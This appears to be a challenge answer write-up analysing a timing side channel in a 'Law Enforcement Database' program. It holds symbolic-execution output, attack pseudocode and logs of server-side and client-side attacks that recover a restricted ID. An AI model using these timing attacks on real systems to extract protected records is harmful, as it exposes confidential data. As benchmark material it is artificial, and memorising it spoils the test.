# Question 026

## Question 026

### Program

Law Enforcement Database

### Type

side channel in time

### Question

Is there a side channel in time in the challenge program from which a third party can determine the value of any single Restricted ID currently in the provided database?

### Operational Budget

Max number of operations : 500
Probability of success : 95%

### Tools Used

Symbolic Pathfinder (SPF).

### Analysis

Using code inspection, we identified that the SEARCH and INSERT operations (class UDPServerHandler, method channelRead0, cases 1 and 8) are the probable source of the side-channel. We wrote a SPF driver which inserts two concrete unrestricted IDs and one symbolic restricted ID into the database. We used symbolic execution with the TimingListener class, to determine the execution time for different execution paths.

For the following set of parameters:

| key domain size | SEARCH range | concrete key #1 | concrete key #2 |
|---|---|---|---|
| 1022 | 50 - 100 | 64 | 85 |

SPF generates the following output:

```
There are 5 path conditions and 5 observables

cost: 9059
(assert (<= h 100))
(assert (> h 85))
(assert (> h 64))
```

```
(assert (not (= h 85)))
(assert (not (= h 64)))
Count = 15

cost: 8713
(assert (<= h 85))
(assert (> h 64))
(assert (not (= h 85)))
(assert (not (= h 64)))
Count = 20

cost: 7916
(assert (> h 100))
(assert (> h 85))
(assert (> h 64))
(assert (not (= h 85)))
(assert (not (= h 64)))
Count = 923

cost: 8701
(assert (>= h 50))
(assert (<= h 64))
(assert (not (= h 85)))
(assert (not (= h 64)))
Count = 14

cost: 7951
(assert (< h 50))
(assert (<= h 64))
(assert (not (= h 85)))
(assert (not (= h 64)))
Count = 50

**PC equivalance class model counting results.**

**Cost: 9059      Count:        15  Probability:  0.014677
Cost: 8713      Count:        20  Probability:  0.019569
Cost: 7916      Count:       923  Probability:  0.903131
Cost: 8701      Count:        14  Probability:  0.013699
Cost: 7951      Count:        50  Probability:  0.048924**

Domain Size: 1022

Single Run Leakage: 0.6309758112933285
```

Looking at this output, we can see that the SEARCH operation takes longer when the secret is within the search range (9059, 8713, 8701 byte code instructions) as opposed to the case when the secret is out of the search range (7916, 7951 byte code instructions) We propose an attack based on this observation: measure the time it takes for the search operation to figure out if there is a secret within the search range.

We can construct a server-side attack based on this observation, as follows: binary search on the ranges of the IDs by sending two search queries at a time and comparing their execution time. Refine the search range based on the

result. Here's the pseudocode for this server-side attack:

```
min = MIN_ID;
max = MAX_ID;

while (min < max)
  half = (max-min-1)/2;

  if (time(search(min..min+half-1) > time(search(min+half..max)))
     max = min + half-1;
  else
     min = min + half;
```

The output from running an implementation of this server-side attack is shown below.

```
Running [0, 40000000] at 0.
Comparing 467821 vs 612252...
Running [20000000, 40000000] at 2.
Comparing 400377 vs 333665...
Running [20000000, 30000000] at 4.
Comparing 200603 vs 237025...
Running [25000000, 30000000] at 6.
Comparing 163564 vs 115072...
Running [25000000, 27500000] at 8.
Comparing 95736 vs 37388...
Running [25000000, 26250000] at 10.
Comparing 85305 vs 30118...
Running [25000000, 25625000] at 12.
Comparing 22765 vs 72958...
Running [25312500, 25625000] at 14.
Comparing 2147483647 vs 19353...
Running [25312500, 25468750] at 16.
Comparing 517 vs 2147483647...
Running [25390625, 25468750] at 18.
Comparing 317 vs 2147483647...
Running [25429687, 25468750] at 20.
Comparing 2147483647 vs 302...
Running [25429687, 25449218] at 22.
Comparing 2147483647 vs 287...
Running [25429687, 25439452] at 24.
Comparing 336 vs 2147483647...
Running [25434569, 25439452] at 26.
Comparing 300 vs 2147483647...
Running [25437010, 25439452] at 28.
Comparing 2147483647 vs 265...
Running [25437010, 25438231] at 30.
Comparing 2147483647 vs 328...
Running [25437010, 25437620] at 32.
Comparing 280 vs 2147483647...
Running [25437315, 25437620] at 34.
Comparing 293 vs 2147483647...
Running [25437467, 25437620] at 36.
```

```
Comparing 2147483647 vs 281...
Running [25437467, 25437543] at 38.
Comparing 2147483647 vs 613...
Running [25437467, 25437505] at 40.
Comparing 2147483647 vs 258...
Running [25437467, 25437486] at 42.
Comparing 2147483647 vs 291...
Running [25437467, 25437476] at 44.
Comparing 362 vs 2147483647...
Running [25437471, 25437476] at 46.
Comparing 311 vs 2147483647...
Running [25437473, 25437476] at 48.
Comparing 2147483647 vs 2147483647...
Checking oracle for: 25437474... true
Checking oracle for: 25437475... false
```

Our experiments demonstrate that this attack discovers the restricted ID in 50 operations (48 SEARCH and 2 ORACLE queries). Although this is within the budget of 500 operations, it is a server-side attack. It does not work on the client-side due to noise in time observations.

We observed that the SEARCH operation sends the unrestricted keys found within the range one at a time, in separate UDP packages, after each key is found. When there is a secret key between two consecutive unrestricted keys, the delay between two messages will be longer due to the timing side-channel described above. Based on this, we implemented a client-side attack as follows:

Send a query for the whole range, observe the time between each received key. Identify the two unrestricted key values for which the time delay between them is the longest. Insert a set of keys (5 in our case) between those two keys and repeat the process. The output from running an implementation of this client-side attack is shown below.

```
Running test...
Best observed interval is [25271059..25520689].
Adding new key at 25312664.
Adding new key at 25354269.
Adding new key at 25395874.
Adding new key at 25437479.
Adding new key at 25479084.
Running new interval: 25271059..25520689
Best observed interval is [25395874..25437479].
Adding new key at 25402808.
Adding new key at 25409742.
Adding new key at 25416676.
Adding new key at 25423610.
Adding new key at 25430544.
Running new interval: 25395874..25437479
Best observed interval is [25430544..25437479].
Adding new key at 25431699.
Adding new key at 25432854.
Adding new key at 25434009.
Adding new key at 25435164.
Adding new key at 25436319.
Running new interval: 25430544..25437479
```

```
Best observed interval is [25436319..25437479].
Adding new key at 25436512.
Adding new key at 25436705.
Adding new key at 25436898.
Adding new key at 25437091.
Running new interval: 25436319..25437479
Best observed interval is [25437284..25437479].
Adding new key at 25437316.
Adding new key at 25437348.
Adding new key at 25437380.
Adding new key at 25437412.
Adding new key at 25437444.
Running new interval: 25437284..25437479
Best observed interval is [25437444..25437479].
Adding new key at 25437449.
Adding new key at 25437454.
Adding new key at 25437459.
Adding new key at 25437464.
Adding new key at 25437469.
Running new interval: 25437444..25437479
Best observed interval is [25437469..25437479].
Adding new key at 25437470.
Adding new key at 25437471.
Adding new key at 25437472.
Adding new key at 25437473.
Adding new key at 25437474.
Running new interval: 25437469..25437479
Best observed interval is [25437473..25437479].
Key found at 25437474 with 117 operations!
```

Our experiments indicate that this client-side attack finds a restricted key in the database within the operational budget.

## Conclusion

Yes. Based solely on the timing side-channel discovered using symbolic execution and proven, as it was simple to build and test, the client-side attack implemented exploiting this side-channel, we confirmed that there is a vulnerability that is exploitable within the given operational budget.